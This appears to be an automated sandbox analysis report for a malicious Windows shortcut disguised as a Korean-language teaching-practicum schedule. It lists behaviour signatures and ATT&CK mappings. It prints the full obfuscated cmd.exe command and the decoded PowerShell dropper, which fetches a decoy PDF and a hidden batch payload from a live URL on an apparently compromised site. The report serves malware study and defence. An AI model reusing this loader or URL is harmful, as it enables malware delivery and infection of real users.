Analysis
- max time kernel
298s - max time network
158s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
- submitted
30/09/2026, 05:57
General
- Target 23반(일요일 10시)_외국어로서의한국어교육실습 학사일정 및 평가기준.lnk
- Size 40.9MB
- Sample260930-gnk29ssdkc
- SHA256 0ab4dec5e7ea4ecd1cce9236aba507c5e351b4648f0aa69e23024483298db38e
Score
10/10
Malware Config
Extracted
Language
-
ps1
Source
URLs
-
exe.dropper
http://posco.or.kr/cheditor/attach/board_file/boardquery.php
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 2 IoCs
- Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\23반(일요일 10시)_외국어로서의한국어교육실습 학사일정 및 평가기준.lnk"1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\syswow64\cmd.exe"C:\Windows\syswow64\cmd.exe" /k "Set a813bb7=pnA39ZR6rDdYQ0mgbvW2ufsPCHchqG5SBitkI1wTLoaEV7xNF8KMley4O && call %a813bb7:~0,1%%a813bb7:~41,1%%a813bb7:~38,1%%a813bb7:~53,1%%a813bb7:~8,1%%a813bb7:~22,1%%a813bb7:~27,1%%a813bb7:~53,1%%a813bb7:~52,1%%a813bb7:~52,1% -%a813bb7:~53,1%%a813bb7:~46,1%%a813bb7:~53,1%%a813bb7:~26,1%%a813bb7:~20,1%%a813bb7:~34,1%%a813bb7:~33,1%%a813bb7:~41,1%%a813bb7:~1,1%%a813bb7:~0,1%%a813bb7:~41,1%%a813bb7:~52,1%%a813bb7:~33,1%%a813bb7:~26,1%%a813bb7:~54,1% %a813bb7:~16,1%%a813bb7:~54,1%%a813bb7:~0,1%%a813bb7:~42,1%%a813bb7:~22,1%%a813bb7:~22,1% -%a813bb7:~26,1%%a813bb7:~41,1%%a813bb7:~14,1%%a813bb7:~14,1%%a813bb7:~42,1%%a813bb7:~1,1%%a813bb7:~10,1% ""$%a813bb7:~41,1%%a813bb7:~29,1%%a813bb7:~9,1%%a813bb7:~10,1%%a813bb7:~29,1%%a813bb7:~54,1%%a813bb7:~52,1%%a813bb7:~40,1%%a813bb7:~12,1%%a813bb7:~33,1%%a813bb7:~53,1%=$%a813bb7:~53,1%%a813bb7:~1,1%%a813bb7:~17,1%:%a813bb7:~39,1%%a813bb7:~43,1%%a813bb7:~51,1%%a813bb7:~23,1%+'BkOCCf7.exe';$%a813bb7:~33,1%%a813bb7:~1,1%%a813bb7:~7,1%%a813bb7:~9,1%%a813bb7:~47,1%%a813bb7:~3,1%%a813bb7:~29,1%%a813bb7:~48,1%%a813bb7:~11,1%%a813bb7:~24,1%='%a813bb7:~24,1%:\%a813bb7:~18,1%%a813bb7:~33,1%%a813bb7:~1,1%%a813bb7:~10,1%%a813bb7:~41,1%%a813bb7:~38,1%%a813bb7:~22,1%\%a813bb7:~31,1%%a813bb7:~54,1%%a813bb7:~22,1%%a813bb7:~34,1%%a813bb7:~53,1%%a813bb7:~14,1%%a813bb7:~3,1%%a813bb7:~19,1%\%a813bb7:~26,1%%a813bb7:~20,1%%a813bb7:~8,1%%a813bb7:~52,1%.%a813bb7:~53,1%%a813bb7:~46,1%%a813bb7:~53,1%';%a813bb7:~24,1%%a813bb7:~41,1%%a813bb7:~0,1%%a813bb7:~54,1%-%a813bb7:~36,1%%a813bb7:~34,1%%a813bb7:~53,1%%a813bb7:~14,1% -%a813bb7:~23,1%%a813bb7:~42,1%%a813bb7:~34,1%%a813bb7:~27,1% $%a813bb7:~33,1%%a813bb7:~1,1%%a813bb7:~7,1%%a813bb7:~9,1%%a813bb7:~47,1%%a813bb7:~3,1%%a813bb7:~29,1%%a813bb7:~48,1%%a813bb7:~11,1%%a813bb7:~24,1% -%a813bb7:~9,1%%a813bb7:~53,1%%a813bb7:~22,1%%a813bb7:~34,1%%a813bb7:~33,1%%a813bb7:~1,1%%a813bb7:~42,1%%a813bb7:~34,1%%a813bb7:~33,1%%a813bb7:~41,1%%a813bb7:~1,1% $%a813bb7:~41,1%%a813bb7:~29,1%%a813bb7:~9,1%%a813bb7:~10,1%%a813bb7:~29,1%%a813bb7:~54,1%%a813bb7:~52,1%%a813bb7:~40,1%%a813bb7:~12,1%%a813bb7:~33,1%%a813bb7:~53,1% -%a813bb7:~48,1%%a813bb7:~41,1%%a813bb7:~8,1%%a813bb7:~26,1%%a813bb7:~53,1%;$%a813bb7:~2,1%%a813bb7:~48,1%%a813bb7:~23,1%%a813bb7:~34,1%%a813bb7:~23,1%%a813bb7:~32,1%%a813bb7:~48,1%%a813bb7:~13,1%%a813bb7:~10,1%%a813bb7:~16,1%%a813bb7:~8,1%%a813bb7:~5,1%='http://posco.or.kr/cheditor/attach/board_file/boardquery.php';$%a813bb7:~18,1%%a813bb7:~49,1%%a813bb7:~31,1%%a813bb7:~50,1%%a813bb7:~22,1%%a813bb7:~47,1%%a813bb7:~52,1%%a813bb7:~11,1%%a813bb7:~10,1%%a813bb7:~14,1%%a813bb7:~49,1%%a813bb7:~25,1%%a813bb7:~6,1%%a813bb7:~44,1%=@(@{%a813bb7:~22,1%='kDA8FVf2WhijXREBxtNBl';%a813bb7:~35,1%='akW17zXyDm9tSLlujD9GenUMPRA3M5fHoas';%a813bb7:~10,1%='\23반(일요일 10시)_외국어로서의한국어교육실습 학사일정 및 평가기준.pdf';%a813bb7:~38,1%=$%a813bb7:~34,1%%a813bb7:~8,1%%a813bb7:~20,1%%a813bb7:~53,1%},@{%a813bb7:~22,1%='kC2XlPmTlevB7nLNy';%a813bb7:~35,1%='wyoJi86eatGS6PU7D0ChlUSOYGBQsGWq';%a813bb7:~10,1%='\KSickmLz.bat';%a813bb7:~38,1%=$%a813bb7:~21,1%%a813bb7:~42,1%%a813bb7:~52,1%%a813bb7:~22,1%%a813bb7:~53,1%});%a813bb7:~21,1%%a813bb7:~41,1%%a813bb7:~8,1%%a813bb7:~53,1%%a813bb7:~42,1%%a813bb7:~26,1%%a813bb7:~27,1%($%a813bb7:~46,1%%a813bb7:~16,1%%a813bb7:~26,1%%a813bb7:~8,1%%a813bb7:~21,1% %a813bb7:~33,1%%a813bb7:~1,1% $%a813bb7:~18,1%%a813bb7:~49,1%%a813bb7:~31,1%%a813bb7:~50,1%%a813bb7:~22,1%%a813bb7:~47,1%%a813bb7:~52,1%%a813bb7:~11,1%%a813bb7:~10,1%%a813bb7:~14,1%%a813bb7:~49,1%%a813bb7:~25,1%%a813bb7:~6,1%%a813bb7:~44,1%){$%a813bb7:~51,1%%a813bb7:~31,1%%a813bb7:~7,1%%a813bb7:~5,1%%a813bb7:~18,1%%a813bb7:~37,1%%a813bb7:~13,1%%a813bb7:~56,1%%a813bb7:~4,1%%a813bb7:~14,1%%a813bb7:~4,1%%a813bb7:~6,1%%a813bb7:~1,1%=$%a813bb7:~2,1%%a813bb7:~48,1%%a813bb7:~23,1%%a813bb7:~34,1%%a813bb7:~23,1%%a813bb7:~32,1%%a813bb7:~48,1%%a813bb7:~13,1%%a813bb7:~10,1%%a813bb7:~16,1%%a813bb7:~8,1%%a813bb7:~5,1%+'?%a813bb7:~28,1%%a813bb7:~20,1%%a813bb7:~53,1%%a813bb7:~8,1%%a813bb7:~54,1%='+$($%a813bb7:~46,1%%a813bb7:~16,1%%a813bb7:~26,1%%a813bb7:~8,1%%a813bb7:~21,1%.%a813bb7:~22,1%)+[%a813bb7:~26,1%%a813bb7:~27,1%%a813bb7:~42,1%%a813bb7:~8,1%]%a813bb7:~3,1%%a813bb7:~49,1%+'%a813bb7:~1,1%%a813bb7:~20,1%%a813bb7:~14,1%%a813bb7:~16,1%%a813bb7:~53,1%%a813bb7:~8,1%='+$($%a813bb7:~46,1%%a813bb7:~16,1%%a813bb7:~26,1%%a813bb7:~8,1%%a813bb7:~21,1%.%a813bb7:~35,1%);$%a813bb7:~12,1%%a813bb7:~29,1%%a813bb7:~20,1%%a813bb7:~50,1%%a813bb7:~53,1%='\"'+$%a813bb7:~53,1%%a813bb7:~1,1%%a813bb7:~17,1%:%a813bb7:~34,1%%a813bb7:~53,1%%a813bb7:~14,1%%a813bb7:~0,1%+$($%a813bb7:~46,1%%a813bb7:~16,1%%a813bb7:~26,1%%a813bb7:~8,1%%a813bb7:~21,1%.%a813bb7:~10,1%)+'\"';%a813bb7:~31,1%%a813bb7:~34,1%%a813bb7:~42,1%%a813bb7:~8,1%%a813bb7:~34,1%-%a813bb7:~23,1%%a813bb7:~8,1%%a813bb7:~41,1%%a813bb7:~26,1%%a813bb7:~53,1%%a813bb7:~22,1%%a813bb7:~22,1% -%a813bb7:~48,1%%a813bb7:~33,1%%a813bb7:~52,1%%a813bb7:~53,1%%a813bb7:~23,1%%a813bb7:~42,1%%a813bb7:~34,1%%a813bb7:~27,1% $%a813bb7:~41,1%%a813bb7:~29,1%%a813bb7:~9,1%%a813bb7:~10,1%%a813bb7:~29,1%%a813bb7:~54,1%%a813bb7:~52,1%%a813bb7:~40,1%%a813bb7:~12,1%%a813bb7:~33,1%%a813bb7:~53,1% -%a813bb7:~2,1%%a813bb7:~8,1%%a813bb7:~15,1%%a813bb7:~20,1%%a813bb7:~14,1%%a813bb7:~53,1%%a813bb7:~1,1%%a813bb7:~34,1%%a813bb7:~40,1%%a813bb7:~33,1%%a813bb7:~22,1%%a813bb7:~34,1% $%a813bb7:~51,1%%a813bb7:~31,1%%a813bb7:~7,1%%a813bb7:~5,1%%a813bb7:~18,1%%a813bb7:~37,1%%a813bb7:~13,1%%a813bb7:~56,1%%a813bb7:~4,1%%a813bb7:~14,1%%a813bb7:~4,1%%a813bb7:~6,1%%a813bb7:~1,1%,'-%a813bb7:~41,1%',$%a813bb7:~12,1%%a813bb7:~29,1%%a813bb7:~20,1%%a813bb7:~50,1%%a813bb7:~53,1% -%a813bb7:~18,1%%a813bb7:~42,1%%a813bb7:~33,1%%a813bb7:~34,1% -%a813bb7:~47,1%%a813bb7:~41,1%%a813bb7:~47,1%%a813bb7:~53,1%%a813bb7:~38,1%%a813bb7:~18,1%%a813bb7:~33,1%%a813bb7:~1,1%%a813bb7:~10,1%%a813bb7:~41,1%%a813bb7:~38,1%;%a813bb7:~33,1%%a813bb7:~21,1%($%a813bb7:~46,1%%a813bb7:~16,1%%a813bb7:~26,1%%a813bb7:~8,1%%a813bb7:~21,1%.%a813bb7:~38,1%){%a813bb7:~31,1%%a813bb7:~34,1%%a813bb7:~42,1%%a813bb7:~8,1%%a813bb7:~34,1%-%a813bb7:~23,1%%a813bb7:~8,1%%a813bb7:~41,1%%a813bb7:~26,1%%a813bb7:~53,1%%a813bb7:~22,1%%a813bb7:~22,1% $%a813bb7:~12,1%%a813bb7:~29,1%%a813bb7:~20,1%%a813bb7:~50,1%%a813bb7:~53,1%;}%a813bb7:~53,1%%a813bb7:~52,1%%a813bb7:~22,1%%a813bb7:~53,1%{%a813bb7:~31,1%%a813bb7:~34,1%%a813bb7:~42,1%%a813bb7:~8,1%%a813bb7:~34,1%-%a813bb7:~23,1%%a813bb7:~8,1%%a813bb7:~41,1%%a813bb7:~26,1%%a813bb7:~53,1%%a813bb7:~22,1%%a813bb7:~22,1% $%a813bb7:~12,1%%a813bb7:~29,1%%a813bb7:~20,1%%a813bb7:~50,1%%a813bb7:~53,1% -%a813bb7:~18,1%%a813bb7:~33,1%%a813bb7:~1,1%%a813bb7:~10,1%%a813bb7:~41,1%%a813bb7:~38,1%%a813bb7:~31,1%%a813bb7:~34,1%%a813bb7:~54,1%%a813bb7:~52,1%%a813bb7:~53,1% %a813bb7:~27,1%%a813bb7:~33,1%%a813bb7:~10,1%%a813bb7:~10,1%%a813bb7:~53,1%%a813bb7:~1,1%}};"" && exit"2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -executionpolicy bypass -command ""$oGDdGylLQie=$env:TEMP+'BkOCCf7.exe';$in6DN3GFYC='C:\Windows\System32\curl.exe';Copy-Item -Path $in6DN3GFYC -Destination $oGDdGylLQie -Force;$AFPtPBF0dbrZ='http://posco.or.kr/cheditor/attach/board_file/boardquery.php';$W8SKsNlYdm8HRV=@(@{s='kDA8FVf2WhijXREBxtNBl';k='akW17zXyDm9tSLlujD9GenUMPRA3M5fHoas';d='\23반(일요일 10시)_외국어로서의한국어교육실습 학사일정 및 평가기준.pdf';w=$true},@{s='kC2XlPmTlevB7nLNy';k='wyoJi86eatGS6PU7D0ChlUSOYGBQsGWq';d='\KSickmLz.bat';w=$false});foreach($xbcrf in $W8SKsNlYdm8HRV){$MS6ZW10O9m9Rn=$AFPtPBF0dbrZ+'?query='+$($xbcrf.s)+[char]38+'number='+$($xbcrf.k);$QGuKe='\"'+$env:temp+$($xbcrf.d)+'\"';Start-Process -FilePath $oGDdGylLQie -ArgumentList $MS6ZW10O9m9Rn,'-o',$QGuKe -Wait -NoNewWindow;if($xbcrf.w){Start-Process $QGuKe;}else{Start-Process $QGuKe -WindowStyle hidden}};""3⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\TempBkOCCf7.exe"C:\Users\Admin\AppData\Local\TempBkOCCf7.exe" http://posco.or.kr/cheditor/attach/board_file/boardquery.php?query=kDA8FVf2WhijXREBxtNBl&number=akW17zXyDm9tSLlujD9GenUMPRA3M5fHoas -o "C:\Users\Admin\AppData\Local\Temp\23반(일요일 10시)_외국어로서의한국어교육실습 학사일정 및 평가기준.pdf"4⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\TempBkOCCf7.exe"C:\Users\Admin\AppData\Local\TempBkOCCf7.exe" http://posco.or.kr/cheditor/attach/board_file/boardquery.php?query=kC2XlPmTlevB7nLNy&number=wyoJi86eatGS6PU7D0ChlUSOYGBQsGWq -o "C:\Users\Admin\AppData\Local\Temp\KSickmLz.bat"4⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
-
-
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Replay Monitor
Loading Replay Monitor...
Downloads
TempBkOCCf7.exe
__PSScriptPolicyTest_1hctgwzp.u5c.ps1
memory/5048-14-0x0000000005500000-0x0000000005854000-memory.dmp
memory/5048-15-0x0000000005B20000-0x0000000005B3E000-memory.dmp
memory/5048-4-0x0000000004A70000-0x0000000004A92000-memory.dmp
memory/5048-5-0x0000000004C10000-0x0000000004C76000-memory.dmp
memory/5048-6-0x0000000005310000-0x0000000005376000-memory.dmp
memory/5048-2-0x00000000022B0000-0x00000000022C0000-memory.dmp
memory/5048-0-0x00000000022B0000-0x00000000022C0000-memory.dmp
memory/5048-3-0x0000000004CE0000-0x0000000005308000-memory.dmp
memory/5048-16-0x0000000005B60000-0x0000000005BAC000-memory.dmp
memory/5048-17-0x0000000006CF0000-0x0000000006D86000-memory.dmp
memory/5048-18-0x0000000006060000-0x000000000607A000-memory.dmp
memory/5048-19-0x00000000060B0000-0x00000000060D2000-memory.dmp
memory/5048-20-0x0000000007340000-0x00000000078E4000-memory.dmp
memory/5048-1-0x0000000002230000-0x0000000002266000-memory.dmp
memory/5048-25-0x00000000022B0000-0x00000000022C0000-memory.dmp
memory/5048-26-0x00000000022B0000-0x00000000022C0000-memory.dmp